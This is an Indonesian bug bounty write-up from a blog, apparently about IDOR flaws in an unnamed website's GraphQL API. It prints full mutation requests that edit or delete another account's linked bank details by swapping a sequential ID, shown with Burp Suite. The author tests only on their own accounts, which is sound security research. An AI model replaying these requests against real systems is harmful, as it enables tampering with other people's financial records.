Lack of Authentication In GraphQL Api Causes Insecure direct object references ( IDOR ) Vulnerability Possible Leaking of All User Sensitive INFORMATION

Aidil Arief
3 min readOct 9, 2021

--

Assalamualaikum Bug Hunter & Hello everyone.

Dikesempatan kali ini saya ingin berbagi pengalaman tentang Penetration Testing Api GraphQL di sebuah website.

Beberapa bulan lalu saya menemukan sebuah kerentanan Insecure direct object references ( IDOR ) pada Api GraphQL di sebuah website, dan waktu itu saya tidak memiliki basic Penetration Testing pada Api GraphQL. Tentu kondisi itu membuat saya bingung dan tidak mengerti tentang cara kerja Api GraphQL.

Source : https://aidilarf.medium.com/idor-vulnerability-in-graphql-api-on-website-bc45e050d1d3

Setelah temuan Insecure direct object references ( IDOR ) pertama saya pada Api GraphQL, saya semakin suka menguji Api GraphQL. Dan kali ini saya akan berbagi sebuah temuan Insecure direct object references ( IDOR ) saya di Api GraphQL.

Follow me :)

Temuan ini bermula ketika saya menemukan sebuah fitur POST & DELETE pada website yang menggunakan Api GraphQL hanya memakai ID Parameter yang tidak di Encrypt. Mungkin hal ini kelihatan wajar, Tetapi itu akan berdampak kepada kerentanan Insecure direct object references ( IDOR ).

Berikut cuplikan responds dari Api GraphQL nya Ketika POST :

[{“operationName”:”updateBANK”,”variables”:{“validateDuplication”:true,”id”:”320651",”bankName”:”BANK NAME”,”bankCode”:”008",”accountNumber”:”21311123123",”customerName”:”Hacked “},”query”:”mutation updateBankMutation($validateDuplication: Boolean, $id: String, $bankName: String, $bankCode: String, $bankBranch: String, $accountNumber: String, $customerName: String) {\n editBankAccount(validateDuplication: $validateDuplication, id: $id, bankName: $bankName, bankCode: $bankCode, bankBranch: $bankBranch, accountNumber: $accountNumber, customerName: $customerName) {\n code\n errors\n message\n data {\n accountNumber\n accountBankCode\n accountOwnerName\n accountBankName\n accountBranch\n __typename\n }\n __typename\n }\n}\n”}]

Lihat cuplikan ”id”:”320651" , itu adalah id Bank Account saya. Apa yang mencurigakan di Id Parameter tersebut?

Tidak ada yang mencurigakan, tetapi itu memiliki kerentanan IDOR :)

Follow me :

Jika Id parameter tidak di Encrypt, lalu jika disana tidak ada Parameter autentikasi berupa contoh ProfileID , AccountHash, Dll. Maka anda dapat mengubahnya secara sewenang wenangnya :)

Lihat Cuplikan EXPLOITASI nya :

[{“operationName”:”updateBANK”,”variables”:{“validateDuplication”:true,”id”:”320622",”bankName”:”BANK NAME”,”bankCode”:”008",”accountNumber”:”21311123123",”customerName”:”Hacked “},”query”:”mutation updateBankMutation($validateDuplication: Boolean, $id: String, $bankName: String, $bankCode: String, $bankBranch: String, $accountNumber: String, $customerName: String) {\n editBankAccount(validateDuplication: $validateDuplication, id: $id, bankName: $bankName, bankCode: $bankCode, bankBranch: $bankBranch, accountNumber: $accountNumber, customerName: $customerName) {\n code\n errors\n message\n data {\n accountNumber\n accountBankCode\n accountOwnerName\n accountBankName\n accountBranch\n __typename\n }\n __typename\n }\n}\n”}]

Lihat ”id”:”320622" adalah ID parameter di Akun Pengujian saya yang ke 2.

Kemudian SEND , Lihat berhasil di ubah sewenang wenangnya, dan itu berhasil :)

Dan tidak hanya itu saja, saya juga masih penasaran dengan fitur lainnya dan mencoba untuk mencarinya lagi , Dan Ketemu :D

IDOR selanjutnya saya temukan di fitur yang sama, tetapi via DELETE Akun Bank yang sudah di kaitkan :)

Lihat cuplikan responds Api GraphQL dibawah :

[{“operationName”:”deleteMutation”,”variables”:{“id”:”320651"},”query”:”mutation deleteMutation($id: String) {\n deleteBankAccountMember(id: $id)\n}\n”}]

Lihat, hanya ada “id”:”320651" dan tidak ada parameter Authentikasi lain di request kali ini :)

Lalu bagaimana exploitasi IDOR nya ?

Follow me :)

Buka Burp Suite anda.

Buka cuplikan Responds dibawah :

[{“operationName”:”deleteMutation”,”variables”:{“id”:”320622"},”query”:”mutation deleteMutation($id: String) {\n deleteBankAccountMember(id: $id)\n}\n”}]

“id”:”320622" adalah ID parameter di Akun Pengujian saya yang ke 2.

Selanjutnya SEND requestnya.

Kemudian Periksa Akun pengujian anda, dan booms, berhasil dihapus :D

BOUNTY : $$$

--

--

Aidil Arief
Aidil Arief

No responses yet